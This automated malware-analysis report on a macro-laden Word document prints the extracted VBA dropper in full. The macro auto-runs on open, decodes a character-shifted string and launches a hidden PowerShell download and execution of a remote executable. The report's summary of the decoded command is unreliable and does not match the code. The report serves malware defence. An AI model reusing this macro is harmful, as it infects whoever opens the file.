Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e6450c208d98dceb…

MALICIOUS

Office (OOXML)

412.4 KB Created: 2020-05-12 05:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: b1b51f673d7b8b5366c7eeb28754ab05 SHA-1: c304b95199e9a5a340de33015e52231c45edcf69 SHA-256: e6450c208d98dceb9129c3eefdc9e9db9374e00bcfa212e240ec336f9146ab95
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro utilizes the Shell() function and character-shifting decoding to construct and execute a command. The reconstructed command appears to be 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy', suggesting an attempt to establish persistence and download a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Generic-9823800-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823800-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2149 bytes
SHA-256: 6c456bb0a8c8cc0e876b14568997eead8f791347a340d132ef62ac0f2582a813
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (KqxuCcjsSTmpoRODFWuiSCNcmUBBemrviIBKyHtoRkGsPcKHuoYbcFl("‡†Ž|‰Š |ƒƒE|�|7D|�|zŒ‹€†…‡†ƒ€z�7y�‡xŠŠ7Dn7_€{{|…7Dz†„„x…{7?…|ŽD†y�|z‹7j�Š‹|„Ee|‹En|yZƒ€|…‹@E[†Ž…ƒ†x{]€ƒ|?> ‹‹‡QFFz{…E{€Šz†‰{x‡‡Ez†„Fx‹‹xz „|…‹ŠFNGPMJLLMMNJPMLIMMOFNGPMJLMJMKJIIGNPJIFZ{xx�Œ‘E|�|>C;|…�Qk|„‡B>s]€ƒ|…x„|E|�|>@"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
adsa
End Sub
Private Sub adsa()
Shell (Environ(KqxuCcjsSTmpoRODFWuiSCNcmUBBemrviIBKyHtoRkGsPcKHuoYbcFl("k|„‡")) + "\" + KqxuCcjsSTmpoRODFWuiSCNcmUBBemrviIBKyHtoRkGsPcKHuoYbcFl("]€ƒ|…x„|E|�|"))
End Sub
   Public Function KqxuCcjsSTmpoRODFWuiSCNcmUBBemrviIBKyHtoRkGsPcKHuoYbcFl(dcUHDwhjAbrHfkZEyyFQhRqieJOGpNQoyrthzzpNEBFQYUzXqjadWoE As String)
        Dim dfrKkKIdwZurVwLXGXpxIhZFBkyEjCaKBLnlNpadjCwpQnINjCbaNAo As Integer, valIzhDutTjqKJuKRxLNFFEJjxFpBwASVrMgbgvRAIDqhxyEJsJdWni As Integer
        dfrKkKIdwZurVwLXGXpxIhZFBkyEjCaKBLnlNpadjCwpQnINjCbaNAo = 23
        For valIzhDutTjqKJuKRxLNFFEJjxFpBwASVrMgbgvRAIDqhxyEJsJdWni = 1 To Len(dcUHDwhjAbrHfkZEyyFQhRqieJOGpNQoyrthzzpNEBFQYUzXqjadWoE)
            Mid(dcUHDwhjAbrHfkZEyyFQhRqieJOGpNQoyrthzzpNEBFQYUzXqjadWoE, valIzhDutTjqKJuKRxLNFFEJjxFpBwASVrMgbgvRAIDqhxyEJsJdWni, 1) = Chr(Asc(Mid(dcUHDwhjAbrHfkZEyyFQhRqieJOGpNQoyrthzzpNEBFQYUzXqjadWoE, valIzhDutTjqKJuKRxLNFFEJjxFpBwASVrMgbgvRAIDqhxyEJsJdWni, 1)) - dfrKkKIdwZurVwLXGXpxIhZFBkyEjCaKBLnlNpadjCwpQnINjCbaNAo)
        Next valIzhDutTjqKJuKRxLNFFEJjxFpBwASVrMgbgvRAIDqhxyEJsJdWni
        KqxuCcjsSTmpoRODFWuiSCNcmUBBemrviIBKyHtoRkGsPcKHuoYbcFl = dcUHDwhjAbrHfkZEyyFQhRqieJOGpNQoyrthzzpNEBFQYUzXqjadWoE
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 222eaec8de0f086a93784c868f0e9fb8b7179178f96cc08c17c69d10a4d52ac1

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